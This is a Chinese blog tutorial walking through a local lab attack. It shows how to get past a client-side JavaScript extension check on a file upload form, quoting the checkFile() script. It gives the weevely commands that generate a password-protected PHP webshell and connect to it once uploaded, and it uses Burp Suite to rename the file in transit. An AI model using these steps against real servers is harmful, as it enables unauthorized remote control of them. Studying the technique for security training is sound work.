您现在的位置是:首页 > Javascript
当前栏目
文件上传(一)基于前端js的破解
2023-04-18 15:04:10 时间
[Meting] [Music server="netease" id="31877160" type="song"/] [/Meting]
当我们给web中上传webshell时,通常会遇到基于前端的js验证,来判断是否是jpg或者是png文件,如果不是,则阻断文件的上传。今天,我们一起来分析下,如何绕过前端js文件的验证。
生成PHP版的webshell
在kali
中执行下面命令:
weevely generate 123456 /root/hacker.php
即,在root
目录下生成了一个hacker.php
的webshell
我们上传刚才生成的webshell
,则提示如下
提示,文件格式不对,我们查看原因。
按F12
键,我们查看源码
我们得到了下方的代码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
这是很典型的前端JS
判断脚本,ok 我们看看怎样突破来自前端的限制。
- 1,将我们生的的
hacker.php
改名为hacker.jpg
- 2,启动神器
burp
设置好代理。 OK,准备好之后,我们开始上传文件。
这时,我们可以看到burp
已经抓取了http包内容
现在我们需要在burp
中将hacker.jpg
改名为hacker.php
然后点击intercept is off
放行即可。
如图,我们则成功上传了webshell。点击右键-属性,查看文件上传的位置。
用kali连接webshell
weevely http://192.168.232.204/upload/hacker.php 123456
如上如图,成功获得服务器的权限。
题记
- 1,本次演示仅在本地服务器测试,请勿非法使用。所造成的一切后果自行承担。
- 2,后期还会更新其他类型的webshell上传方法,敬请期待。
版权属于:逍遥子大表哥
本文链接:https://blog.bbskali.cn/459.html
按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
相关文章
- 手写简易浏览器之思路综述篇
- HarmonyOS官方模板学习 之 About Feature Ability(Java)
- Mozilla 开始向所有版本的 Firefox 推送站点隔离功能
- 曝Win10新版让人兴奋:诸多惊喜新功能来了
- HarmonyOS三方件开发指南(19)-BGABadgeView徽章组件
- 为什么Cloudera要创建Hadoop安全组件Sentry?
- Cloudera公司首席架构师谈Hadoop之变迁
- Cloudera将Spark划入Hadoop
- YARN动摇了MapReduce对Hadoop的掌控
- Hadoop 2:大数据演进中的一次大飞跃
- N卡驱动实在太头疼!这款神器帮你彻底解决
- OpenHarmony 1.1.0 LTS 正式发布
- HarmonyOS APP组件分享(六)
- HarmonyOS APP组件分享(五)
- 界面UI即将大改!Windows1021H2最新预览版抢先看
- 微软正在将Windows 10任务栏从Explorer.exe进程中移出
- HarmonyOS APP组件分享(四)
- 流畅度大提升!微软对Windows 10任务栏调整:UI也要变样
- IETF 正式弃用 TLS 1.0 和 TLS 1.1
- Firefox 将采取新的 referrer 策略